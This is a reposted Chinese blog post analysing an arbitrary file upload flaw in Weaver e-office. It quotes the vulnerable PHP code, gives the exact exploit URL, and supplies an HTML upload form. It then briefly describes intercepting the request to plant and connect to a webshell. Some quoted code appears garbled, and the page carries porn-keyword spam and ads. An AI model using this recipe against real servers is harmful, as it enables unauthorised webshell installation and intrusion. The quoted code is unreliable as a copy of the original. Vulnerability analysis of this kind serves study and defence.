日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

某office前台任意文件上传漏洞分析

發(fā)布時間:2025/3/21 编程问答 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 某office前台任意文件上传漏洞分析 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

X微e-office的那個前臺任意文件上傳漏洞已經(jīng)被爆出一段時間了,相關(guān)的漏洞利用腳本甚至是漏洞批量利用腳本

也有很多。在這里根據(jù)系統(tǒng)代碼結(jié)合POC來分析一下這個漏洞點。

定位漏洞點

【私信回復“資料”課獲取網(wǎng)絡安全 全套學習資料】

根據(jù)poc中的上傳路徑可以知道,漏洞點存在于/general/index/UploadFile.php文件。產(chǎn)生漏洞的代碼是下邊這一串。

else if ( $uploadType == "eoffice_logo" ) {$targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";if ( !file_exists( $targetPath ) ){mkdir( $targetPath, 511, true );}$ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] );$_targetFile = "logo-eoffice".$ext;$targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;if ( move_uploaded_file( $tempFile, $targetFile ) ){$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );$param1 = $param2 = false;if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";$param1 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";$param1 = exequery( $connection, $query );}$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";$param2 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";$param2 = exequery( $connection, $query );}if ( $param1 && $param2 ){echo $_targetFile;}else{echo 0;}}else{echo 0;}}}}

在看到UploadFile.php中的內(nèi)容的時候,發(fā)現(xiàn)了很多處類似上面產(chǎn)生漏洞點的代碼



但是為什么只有 $uploadType == “eoffice_logo” 這里可以進行任意文件上傳呢。

上面三處都使用下邊的語句對上傳的文件進行了白名單過濾

if ( !in_array( strtolower( $ext ), array( ".jpg", ".jpeg", ".png", ".gif" ) ) )

只有 $uploadType == “eoffice_logo” 這里沒有進行白名單過濾,具體是因為什么我還沒有深究。

漏洞點代碼分析

【私信回復“資料”課獲取網(wǎng)絡安全 全套學習資料】

定位到產(chǎn)生漏洞的代碼以后,開始對這段代碼進行分析。

定義上傳后的文件名和上傳路徑:

//targetPath 為網(wǎng)站 根目錄/images/logo/ $targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";//targetPath 如果不存在的話,就會新建目錄 if ( !file_exists( $targetPath ) ) {mkdir( $targetPath, 511, true ); } //獲取上傳文件后綴名,并使用寫好的的logo-eoffice與上傳文件后綴拼接形成新的文件名,最后進行目錄拼接 $ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] ); $_targetFile = "logo-eoffice".$ext; $targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;

現(xiàn)在的targetFile為 根目錄/images/logo/logo-eoffice.上傳文件的后綴

接下來會進行文件上傳的操作

if ( move_uploaded_file( $tempFile, $targetFile ) ) {$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );$param1 = $param2 = false;if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";$param1 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";$param1 = exequery( $connection, $query );}$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";$param2 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";$param2 = exequery( $connection, $query );}if ( $param1 && $param2 ){echo $_targetFile;}else{echo 0;}}else{echo 0;}}}}

這一大串代碼的意思是,上傳后會向數(shù)據(jù)庫中進行查詢信息

SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'

如果查不到的話就向數(shù)據(jù)庫中插入數(shù)據(jù),如果查詢時返回不為空,那么就會將數(shù)據(jù)進行更新

INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'

經(jīng)過這輪操作,數(shù)據(jù)庫SYS_LOGO中已經(jīng)被插入了數(shù)據(jù)或者數(shù)據(jù)已經(jīng)被更新了,更新后在進行查詢操作,并取一行數(shù)據(jù)作為關(guān)聯(lián)數(shù)組。經(jīng)過這兩輪關(guān)聯(lián),row的值已經(jīng)不為空了,也就會看到打印出的

_targetFileif ( $param1 && $param2 ) { echo $_targetFile; //$_targetFile = "logo-eoffice".$ext; }

到這里似乎沒有什么阻礙或者難配置的地方。

分析上傳方式

準備構(gòu)造上傳。

$upload = ( );$method = $_GET['m'];$upload->$method( $connection );

使用get方法傳入一個m,然后upload這個類調(diào)用method方法。這里要想上傳文件,也就用到了uploadPicture這個方法。

那么 m=uploadPicture

要想利用eoffice_logo這個點,還需要傳入uploadType,并且令uploadType == “eoffice_logo”

那么最終的漏洞利用的url也就有了

/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo

構(gòu)造上傳表單

根據(jù)代碼構(gòu)造上傳表單

<html> <title>泛微e-office文件上傳</title> <head></head> <body> <form action="http://ip:port/general/index/UploadFile.php? m=uploadPicture&uploadType=eoffice_logo" method="post" enctype="multipart/form-data"> <input type="file" name="Filedata"> <input type="submit" value="Upload"> </body> </html>

注意一下這里別寫錯了

本地攻擊測試

上傳時抓包,改包


傳馬連接

總結(jié)

以上是生活随笔為你收集整理的某office前台任意文件上传漏洞分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。